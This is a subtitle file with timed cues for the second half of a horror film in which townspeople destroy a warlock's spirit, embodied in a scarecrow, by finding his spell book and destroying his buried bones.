00:44:57.757 --> 00:44:58.800
Than your family.

468
00:45:29.706 --> 00:45:32.542
What're you doing?
Where you going?

469
00:45:32.542 --> 00:45:35.128
I don't know.
Something feels weird with my family.

470
00:45:35.128 --> 00:45:37.213
I don't know what.
I got to go.

471
00:45:37.213 --> 00:45:38.590
All right.

472
00:45:38.590 --> 00:45:40.175
I'm going with you.

473
00:45:44.220 --> 00:45:47.223
Oh, my god!
Jesus! What...

474
00:45:52.896 --> 00:45:54.189
Do it.

475
00:45:55.607 --> 00:45:56.983
Hold still.

476
00:46:03.948 --> 00:46:05.200
I'm almost done.

477
00:46:09.496 --> 00:46:10.830
This is the last one.

478
00:46:28.348 --> 00:46:32.727
Thank you.

479
00:46:32.727 --> 00:46:34.062
Here's some water.
Drink some.

480
00:46:42.112 --> 00:46:44.739
Who did this to you?

481
00:46:44.739 --> 00:46:48.451
It's not safe here.

482
00:46:48.451 --> 00:46:51.371
Fo you?

483
00:46:51.371 --> 00:46:52.872
For any of us.

484
00:46:54.249 --> 00:46:56.501
For...

485
00:46:56.501 --> 00:46:57.794
Barbara.

486
00:47:01.131 --> 00:47:03.800
Barbara.

487
00:47:03.800 --> 00:47:07.512
- what is going on?
- where's stephanie?

488
00:47:09.639 --> 00:47:11.516
Has he taken my daughter?

489
00:47:11.516 --> 00:47:13.101
Has he claimed her?

490
00:47:16.438 --> 00:47:18.148
Of course he has.

491
00:47:20.400 --> 00:47:23.486
She will not be spared.

492
00:47:26.323 --> 00:47:28.283
None of us will.

493
00:47:29.826 --> 00:47:32.662
None of us will!

494
00:47:32.662 --> 00:47:34.039
Tell me what you're talking about.

495
00:47:36.124 --> 00:47:37.667
He...

496
00:47:37.667 --> 00:47:39.711
Has...

497
00:47:39.711 --> 00:47:41.379
Come back.

498
00:47:41.379 --> 00:47:44.966
Who has come back?
Come back for what?

499
00:47:44.966 --> 00:47:49.596
For generations
We've been trying to forget

500
00:47:49.596 --> 00:47:52.182
When we should have remebered...

501
00:47:52.182 --> 00:47:55.268
Prepared...

502
00:47:55.268 --> 00:47:56.895
Prayed.

503
00:47:58.730 --> 00:48:00.315
Oh, god, please.

504
00:48:02.859 --> 00:48:06.154
It all began over 100 years ago

505
00:48:06.154 --> 00:48:10.200
When the goodmans founded this town.

506
00:48:10.200 --> 00:48:12.911
They came west looking for a better life,

507
00:48:12.911 --> 00:48:16.790
And when they arrived here,
They found more hardship.

508
00:48:16.790 --> 00:48:18.500
Drought...

509
00:48:18.500 --> 00:48:19.751
Frost...

510
00:48:19.751 --> 00:48:21.002
Pestilence...

511
00:48:21.002 --> 00:48:23.088
The ground was hard,

512
00:48:23.088 --> 00:48:32.097
Soil void of nutriments.
People were starving.

513
00:48:33.807 --> 00:48:35.976
Old...

514
00:48:35.976 --> 00:48:38.645
Old silas goodman

515
00:48:38.645 --> 00:48:40.355
Was their spiritual leader.

516
00:48:42.023 --> 00:48:47.237
The people came to him
And asked for his help,

517
00:48:47.237 --> 00:48:49.739
But there was nothing
He could do.

518
00:48:51.032 --> 00:48:56.329
And then this stranger came.

519
00:48:58.039 --> 00:49:00.709
He was a man of magic...

520
00:49:02.335 --> 00:49:05.255
A man of evil.

521
00:49:05.255 --> 00:49:10.176
In hanford he saw
A land of opportunity.

522
00:49:10.176 --> 00:49:13.471
He came to silas
And offered him

523
00:49:13.471 --> 00:49:16.683
A solution, a bargain.

524
00:49:16.683 --> 00:49:19.936
He would make
The earth fertile,

525
00:49:19.936 --> 00:49:23.189
The wells run rich,

526
00:49:23.189 --> 00:49:28.695
The weather temperate,
The crops grow bountiful.

527
00:49:28.695 --> 00:49:30.822
The price was simple.

528
00:49:30.822 --> 00:49:34.242
In this town, the warlock
Would have complete freedom,

529
00:49:34.242 --> 00:49:36.995
Freedom from persecution,
Freedom to do as he liked.

530
00:49:36.995 --> 00:49:38.038
Freedom.

531
00:49:40.749 --> 00:49:45.629
At first all went well.
The town prospered.

532
00:49:45.629 --> 00:49:50.050
And the warlock's presence
Seemed harmless,

533
00:49:50.050 --> 00:49:52.928
But silas goodman
Was a god-fearing man.

534
00:49:55.055 --> 00:49:58.225
He knew he had made
A pact with the devil...

535
00:50:02.312 --> 00:50:04.272
A devil he could not control.

536
00:50:06.983 --> 00:50:10.403
The warlock was a hedonist
Of the first order.

537
00:50:12.614 --> 00:50:14.699
He took over the town,

538
00:50:14.699 --> 00:50:18.828
Not by force but by pleasure.

539
00:50:21.289 --> 00:50:31.299
He lured the young girls into witches' sabbaths,
Which turned out to be nothing wild orgies.

540
00:51:03.373 --> 00:51:08.003
He even seduced
Silas' own daughter.

541
00:51:15.427 --> 00:51:18.805
Silas decided it was time to stop this...

542
00:51:20.515 --> 00:51:22.475
No matter the price...

543
00:51:25.228 --> 00:51:28.440
And stole his book of magic spells...

544
00:51:30.901 --> 00:51:35.155
And turned his own magic against him.

545
00:51:38.867 --> 00:51:43.288
One night silas drugged the warlock.

546
00:51:54.799 --> 00:51:59.054
At dawn silas and the townspeople

547
00:51:59.054 --> 00:52:01.389
Dragged the demon out to the field.

548
00:52:03.600 --> 00:52:08.271
They'd cut a stone slab
That would seal his tomb.

549
00:52:18.198 --> 00:52:21.618
They chopped a path
Deep into the corn.

550
00:52:24.204 --> 00:52:26.289
When the warlock realized
What was going to happen,

551
00:52:26.289 --> 00:52:28.166
He started to scream and threaten...

552
00:52:31.378 --> 00:52:34.005
Even as they lashed him
To the cross,

553
00:52:34.005 --> 00:52:36.883
And crucified him.

554
00:52:45.934 --> 00:52:52.149
It took the warlock
Two screaming days

555
00:52:52.149 --> 00:52:55.026
To finally die.

556
00:53:00.657 --> 00:53:02.325
Our people burned the body,

557
00:53:02.325 --> 00:53:06.580
Put his charred bones
Into the special casket,

558
00:53:06.580 --> 00:53:09.291
Burying them deep into the ground.

559
00:53:09.291 --> 00:53:12.210
As long as the bones
Remained undisturbed,

560
00:53:12.210 --> 00:53:14.963
The people of hanford would be assured

561
00:53:14.963 --> 00:53:17.215
Rich harvest for all time.

562
00:53:17.215 --> 00:53:20.760
Each generation
Would erect a scarecrow

563
00:53:20.760 --> 00:53:22.721
As a reminder.

564
00:53:24.931 --> 00:53:31.021
Our ancestors thought this
Tomb was sealed forever,

565
00:53:31.021 --> 00:53:35.400
But now somehow
The warlock's spirit has escaped,

566
00:53:35.400 --> 00:53:39.488
As if we'd brought the evil on ourselves.

567
00:53:39.488 --> 00:53:42.199
So how do we stop it?

568
00:53:42.199 --> 00:53:46.787
The secret is in his book of spells.

569
00:53:46.787 --> 00:53:48.830
It was given to your father

570
00:53:48.830 --> 00:53:50.999
As first-born of our generation.

571
00:53:50.999 --> 00:53:54.127
What he's done with it,
I don't now.

572
00:53:54.127 --> 00:53:57.672
The spell that would
Destroy the warlock

573
00:53:57.672 --> 00:53:59.549
Is in that book.

574
00:53:59.549 --> 00:54:03.136
Ok, dillon, you better get him home.

575
00:54:03.136 --> 00:54:05.514
I'm going to my father's and find the book

576
00:54:05.514 --> 00:54:08.225
I'll get your uncle home,

577
00:54:08.225 --> 00:54:09.476
And you be careful.

578
00:54:11.520 --> 00:54:13.647
Thaddeus, tell me.

579
00:54:13.647 --> 00:54:16.525
What's going to happen
If he finds the book?

580
00:54:18.652 --> 00:54:24.574
He can reunite his spirit with flesh.

581
00:54:24.574 --> 00:54:28.453
He will become human again.

582
00:54:29.913 --> 00:54:32.541
If that happens,

583
00:54:32.541 --> 00:54:34.042
No one...

584
00:54:34.042 --> 00:54:38.213
No one can stop his power.

585
00:54:39.297 --> 00:54:40.590
No one.

586
00:55:08.076 --> 00:55:08.744
Jesus!

587
00:55:20.672 --> 00:55:23.675
Where's my book?

588
00:55:42.402 --> 00:55:48.008
No!

589
00:56:05.092 --> 00:56:10.597
Where is my book?
Go fuck yourself.

590
00:56:16.144 --> 00:56:20.691
I want you to sympathize with me.

591
00:56:20.691 --> 00:56:22.901
I want you to know how it feels

592
00:56:22.901 --> 00:56:30.909
To be me.

593
00:56:30.909 --> 00:56:31.994
No.

594
00:56:47.384 --> 00:56:50.429
You motherfucker!

595
00:57:29.301 --> 00:57:30.719
Thaddeus?

596
00:57:30.719 --> 00:57:33.680
Thaddeus, is that you?

597
00:57:33.680 --> 00:57:35.891
Come on.
Let's get you here.

598
00:57:40.270 --> 00:57:42.481
You want something to drink?

599
00:57:42.481 --> 00:57:45.192
Coffee? I don't know what you got here.

600
00:57:45.192 --> 00:57:46.902
I'll have something.

601
00:57:46.902 --> 00:57:48.654
Tea.

602
00:57:48.654 --> 00:57:50.364
I'd like some tea.

603
00:57:50.364 --> 00:57:51.907
Tea.

604
00:57:51.907 --> 00:57:53.325
Tea is it.

605
00:58:15.597 --> 00:58:17.307
Barbara?

606
00:58:20.602 --> 00:58:22.813
I better tell my wife I'm all right.

607
00:58:34.157 --> 00:58:35.742
Barbara?

608
00:58:36.952 --> 00:58:38.036
Barbara, we need...

609
00:58:41.164 --> 00:58:43.041
Oh, god.

610
00:58:43.041 --> 00:58:45.168
No.

611
00:58:45.168 --> 00:58:46.336
Barbara.

612
00:58:52.634 --> 00:58:55.345
Barbara, I'm so sorry,
My sweet.

613
00:58:58.140 --> 00:59:00.225
I'm so sorry.

614
00:59:00.225 --> 00:59:02.269
So sorry.

615
00:59:11.778 --> 00:59:14.615
One last time.

616
00:59:14.615 --> 00:59:17.451
Where's my book?

617
00:59:21.163 --> 00:59:24.583
Yaah! You filth!

618
00:59:24.583 --> 00:59:29.087
Back to your grave!
Rot with the worms!

619
00:59:29.087 --> 00:59:31.757
Burn!

620
00:59:31.757 --> 00:59:37.846
Fooled ya!

621
00:59:41.141 --> 00:59:44.144
Drop it!

622
00:59:44.144 --> 00:59:46.230
Put it down.
Raise your hands, hale.

623
00:59:46.230 --> 00:59:49.358
Just do it!
Come on.

624
00:59:52.945 --> 00:59:56.448
I'm taking you in
For the murder of danny thompson.

625
00:59:56.448 --> 00:59:57.741
Are you out of your mind?

626
00:59:57.741 --> 00:59:59.326
Shut up!

627
00:59:59.326 --> 01:00:00.911
Talk to thaddeus.

628
01:00:00.911 --> 01:00:03.247
He's got some ideas
About what's going on.

629
01:00:03.247 --> 01:00:05.374
He's upstairs.
I just brought him home.

630
01:00:05.374 --> 01:00:09.211
I was making find tea.
Ok, let's go find him.

631
01:00:10.379 --> 01:00:13.090
Thad, you in there?

632
01:00:13.090 --> 01:00:15.300
I know he's there.
Maybe he's passed out.

633
01:00:22.641 --> 01:00:23.767
Jesus christ.

634
01:00:38.282 --> 01:00:43.495
You son of a bitch!
You think I did this?

635
01:00:43.495 --> 01:00:45.372
I'll kill you!

636
01:00:45.372 --> 01:00:47.708
The door was locked from the inside!

637
01:00:47.708 --> 01:00:48.792
Think about it!

638
01:00:52.212 --> 01:00:55.090
Come over here.
Where you going?

639
01:00:55.090 --> 01:00:56.967
We got to get
To claire's house...

640
01:00:58.427 --> 01:01:00.262
What are you doing, man?

641
01:01:00.262 --> 01:01:02.306
You know I didn't do this.

642
01:01:02.055 --> 01:01:03.640
I don't know anything,

643
01:01:03.640 --> 01:01:06.268
But I know you're not going anywhere.

644
01:01:06.268 --> 01:01:09.646
If we don't hurry,
They'll all be dead when we get there.

645
01:01:19.448 --> 01:01:20.824
Dad!

646
01:01:30.542 --> 01:01:31.793
Dad?

647
01:01:49.895 --> 01:01:51.271
Oh, god.

648
01:02:03.992 --> 01:02:04.993
Daddy...

649
01:02:06.411 --> 01:02:08.580
It's ok.
It's ok.

650
01:02:08.580 --> 01:02:10.374
It's true, isn't it?

651
01:02:10.374 --> 01:02:13.210
It's true, uncle frank.

652
01:02:13.210 --> 01:02:15.629
We have got to find the warlock's book.

653
01:02:15.629 --> 01:02:18.173
Yo have any idea where it might be?

654
01:02:18.173 --> 01:02:19.842
It could be anywhere.

655
01:02:19.842 --> 01:02:21.802
All right.

656
01:02:21.802 --> 01:02:23.512
Ok.

657
01:02:27.850 --> 01:02:29.434
Wait.

658
01:02:29.434 --> 01:02:31.395
Wait a minute.

659
01:02:31.395 --> 01:02:34.731
When we were kids
Playing in this house,

660
01:02:34.731 --> 01:02:38.986
Will told me about
A secret hiding place in the attic.

661
01:02:38.986 --> 01:02:45.075
He said if anything ever happened to him,
There was something real important up there.

662
01:02:45.075 --> 01:02:46.827
Ok, let's go.

663
01:02:46.827 --> 01:02:50.372
No. I'll look.
You go outside.

664
01:02:50.372 --> 01:02:51.874
I got dillon in the car.

665
01:02:51.874 --> 01:02:54.793
No. I am not walking away from this.

666
01:02:54.793 --> 01:02:55.878
Ok.

667
01:03:24.615 --> 01:03:27.117
Your father told me there's a trapdoor

668
01:03:27.117 --> 01:03:29.495
In one of the floorboards in the attic.

669
01:03:29.495 --> 01:03:30.579
Here. Hold this.

670
01:03:39.880 --> 01:03:42.549
He said I'd know it
When I saw it.

671
01:03:47.012 --> 01:03:48.222
Ok. Come on up.

672
01:03:49.890 --> 01:03:51.183
Come on.

673
01:04:02.403 --> 01:04:04.321
Damn it.

674
01:04:04.321 --> 01:04:06.156
Ok.

675
01:04:06.156 --> 01:04:07.533
It's right over here.

676
01:04:16.250 --> 01:04:17.835
Anything?

677
01:04:17.835 --> 01:04:18.877
No.

678
01:04:21.505 --> 01:04:22.840
Wait. What's that?

679
01:04:22.840 --> 01:04:24.383
Yeah.

680
01:04:24.383 --> 01:04:25.592
Yea , that's it.

681
01:04:39.273 --> 01:04:40.983
Ok.

682
01:04:40.983 --> 01:04:42.067
Help me move it.

683
01:04:56.623 --> 01:04:57.750
That one.

684
01:05:01.628 --> 01:05:03.922
Come on.
I'm trying.

685
01:05:03.922 --> 01:05:05.007
Lift it.

686
01:05:11.221 --> 01:05:12.806
Get the book!

687
01:05:20.939 --> 01:05:22.358
Claire, get the book!

688
01:05:33.077 --> 01:05:34.828
Claire!

689
01:05:34.828 --> 01:05:36.038
[scarecrow]
Any more?

690
01:05:40.000 --> 01:05:43.212
You killed my family,
You motherfucker!

691
01:05:49.551 --> 01:05:50.719
Yes!

692
01:05:52.638 --> 01:05:55.683
I got it!
I got it!

693
01:06:28.132 --> 01:06:30.801
Run! Run!

694
01:06:30.801 --> 01:06:33.387
Claire, he's right behind you!

695
01:06:33.387 --> 01:06:35.723
Get in the car!
Come on!

696
01:06:35.723 --> 01:06:38.183
Get in the car!

697
01:06:39.727 --> 01:06:41.937
Start it!
Come on! He's coming!

698
01:06:42.938 --> 01:06:44.315
Go! Go!

699
01:06:49.987 --> 01:06:51.572
Dillon, here.

700
01:07:00.497 --> 01:07:02.625
[police radio]
Sheriff, you there?

701
01:07:02.625 --> 01:07:04.209
Come in.

702
01:07:04.209 --> 01:07:06.837
It says there's
A physical connection

703
01:07:06.837 --> 01:07:09.965
Between the warlock's spirit and the bones.

704
01:07:09.965 --> 01:07:12.593
If we destroy the bones,
Then he's dead forever.

705
01:07:12.593 --> 01:07:14.428
They were buried the field.

706
01:07:14.428 --> 01:07:15.638
Look out, claire!

707
01:07:20.768 --> 01:07:23.395
We need your help!
He's right behind us!

708
01:07:23.395 --> 01:07:28.150
Stop right there!
Move to the car!

709
01:07:28.150 --> 01:07:30.110
Get your ass out here.

710
01:07:30.110 --> 01:07:31.362
He'll be right here!

711
01:07:31.362 --> 01:07:32.863
Shut up!

712
01:07:32.863 --> 01:07:34.281
Come on, man!

713
01:07:34.281 --> 01:07:35.366
Where's the sheriff?

714
01:07:35.366 --> 01:07:36.784
He's dead.

715
01:07:36.784 --> 01:07:38.994
If he gets this book, we're fucked.

716
01:07:38.994 --> 01:07:41.080
Put your hands on the car!

717
01:07:41.080 --> 01:07:43.248
Just fuckin' listen to us!

718
01:07:43.248 --> 01:07:46.460
No, you listen.
Get your hands back on that vehicle,

719
01:07:46.460 --> 01:07:48.254
Or I'll shoot your fucking head!

720
01:07:53.050 --> 01:07:55.761
Don't go back there!
Teddy, check that out.

721
01:07:55.761 --> 01:07:57.972
I wouldn't do that if I were you!

722
01:07:57.972 --> 01:07:59.431
Go on.

723
01:08:06.689 --> 01:08:07.773
Teddy?

724
01:09:00.075 --> 01:09:01.327
Come on, come on!

725
01:09:02.578 --> 01:09:03.787
Come on.

726
01:09:31.774 --> 01:09:33.025
Get the bolt cutters.

727
01:09:40.616 --> 01:09:42.952
We got to burn his bones, right?

728
01:09:42.952 --> 01:09:44.954
Fire.

729
01:09:44.954 --> 01:09:46.705
I got something better than that.

730
01:09:49.625 --> 01:09:53.170
This shit will melt through rock
At room temperature.

731
01:09:53.170 --> 01:09:54.880
Liquidate that fucking bastard.

732
01:09:54.880 --> 01:09:57.424
Wait, wait, wait.
Get that hatchet.

733
01:10:14.275 --> 01:10:15.276
Get through!

734
01:10:33.085 --> 01:10:34.628
The tomb's in the center of the cornfield.

735
01:11:12.416 --> 01:11:14.001
Give me the flashlight.

736
01:11:14.001 --> 01:11:15.753
Hold my legs.
Hold my legs.

737
01:11:19.048 --> 01:11:20.299
I can't hold you very long.

738
01:11:20.299 --> 01:11:22.009
I see something.

739
01:11:22.009 --> 01:11:24.136
Drop me lower.
Lower!

740
01:11:27.848 --> 01:11:30.476
I can't reach it.

741
01:11:30.476 --> 01:11:32.269
More! Lower!
I'm trying.

742
01:11:35.064 --> 01:11:37.525
Hurry!
More!

743
01:11:57.419 --> 01:12:00.673
My book!

744
01:12:00.673 --> 01:12:02.633
Burn, you motherfucker!

745
01:12:10.224 --> 01:12:11.475
Dillon!

746
01:12:36.125 --> 01:12:37.460
My bones!

747
01:12:38.711 --> 01:12:39.837
My bones!

748
01:13:42.358 --> 01:13:43.484
Claire!

749
01:13:43.484 --> 01:13:46.362
Dillon! Dillon!

750
01:13:47.696 --> 01:13:49.323
Claire!

751
01:13:54.620 --> 01:13:57.331
Claire!

752
01:13:57.331 --> 01:13:59.041
Where are you?

753
01:13:59.041 --> 01:14:01.085
Meet me at the handcuffs.

754
01:14:01.085 --> 01:14:02.253
The handcuffs!

755
01:14:23.733 --> 01:14:25.693
Claire! Drop!

756
01:16:15.803 --> 01:16:17.263
Come on.

757
01:16:29.692 --> 01:16:31.444
Come on!

758
01:16:31.444 --> 01:16:33.154
Let's get out of here.

759
01:16:36.574 --> 01:16:37.783
Wait.

760
01:16:39.035 --> 01:16:40.494
Wait.

761
01:16:40.494 --> 01:16:42.747
Claire! Claire, come on!

762
01:16:45.458 --> 01:16:46.584
Let's go!

763
01:16:51.088 --> 01:16:53.424
How about some fire, scarecrow?

764
01:17:09.315 --> 01:17:10.024
No!

765
01:17:33.256 --> 01:17:34.882
Oh, my god.

766
01:17:43.015 --> 01:17:45.017
You ok?
Are you ok?

767
01:19:18.361 --> 01:19:19.403
No!

768
01:20:19.005 --> 01:20:20.089
Are you ok?

769
01:20:20.089 --> 01:20:21.090
Claire?

770
01:20:37.106 --> 01:20:38.858
Got him.


ZeroDay Forums Mini